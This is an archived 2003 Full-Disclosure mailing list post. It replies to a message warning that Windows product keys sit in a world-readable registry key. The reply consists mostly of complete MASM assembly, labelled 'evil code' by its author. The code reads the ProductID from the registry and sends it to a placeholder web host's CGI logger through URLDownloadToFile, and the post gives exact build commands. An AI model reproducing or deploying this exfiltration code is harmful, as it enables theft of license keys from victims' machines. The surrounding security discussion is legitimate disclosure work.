lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20030907002252.67784.qmail@web11408.mail.yahoo.com> From: xillwillx at yahoo.com (w g) Subject: Product activation is exploitable with simple assembly code you could send the data to a cgi script too ;-------------------------begin evil code ---------------------- .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\shell32.inc include \masm32\include\advapi32.inc include \masm32\include\masm32.inc include \masm32\include\urlmon.inc includelib \masm32\lib\urlmon.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\advapi32.lib .data SubKey2 db "SOFTWARE\Microsoft\Windows\CurrentVersion\",0 szWinKey db "ProductID",0 szHost db "http://www.yoursite.com/cgi-bin/logme.cgi?action=log&ID=%s",0 WinKeySize DWORD 255 .data? WinKeyData db 255 dup (?) TheReturn DWORD ? PostBuffer db 256 dup(?) .code start: invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr SubKey2,0,KEY_READ,addr TheReturn invoke RegQueryValueEx,TheReturn,addr szWinKey,0,0,addr WinKeyData, addr WinKeySize ;the Product key is in WinKeydata invoke RegCloseKey , TheReturn invoke wsprintf,addr PostBuffer,addr szHost,ADDR WinKeyData invoke URLDownloadToFile, 0,addr PostBuffer, 0, 0, 0 invoke ExitProcess, eax end start ;--------------------------------------------------------------------------snip compiles with masm to 1.5 kb , yes 1.5 kb :) c:\masm32\bin\ml /c /coff *.asm c:\masm32\bin\link /SUBSYSTEM:WINDOWS /RELEASE /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.idata=.text /SECTION:.text,EWR /FILEALIGN:512 *.obj -------------------------------------------------------------------------------------------------------------------------------- - illwill http://illmob.org Geoincidents <geoincidents@...info.org> wrote: So I'm reading this story http://www.nccomp.com/sysadmin/dell.html about a company who laid off their admin and he took all their product keys and posted them on the internet. Well to make a long story short, somehow applying a hotfix caused the software to deactivate (it has to have a deactivation feature or what good is it?) and require activation again which of course was impossible since MS shut those numbers down. It got to thinking, what if the dcom worm had grabbed the product key from [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "ProductKey"="XXXXX-XXXXX-XXXXX-XXXXX-XXXXX" or ProductID="XXXXX-OEM-XXXXXXX-XXXXX" and posted it to a dozen random newsgroups? According to the EULA Microsoft has the right to shut down every one who becomes infected and compromised in this manner. Sure looks like a security issue to me, product activation makes this registry entry which allows all users full read access a dangerous thing to have laying around unprotected. Geo. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030906/c2e5ef8f/attachment.html
Powered by blists - more mailing lists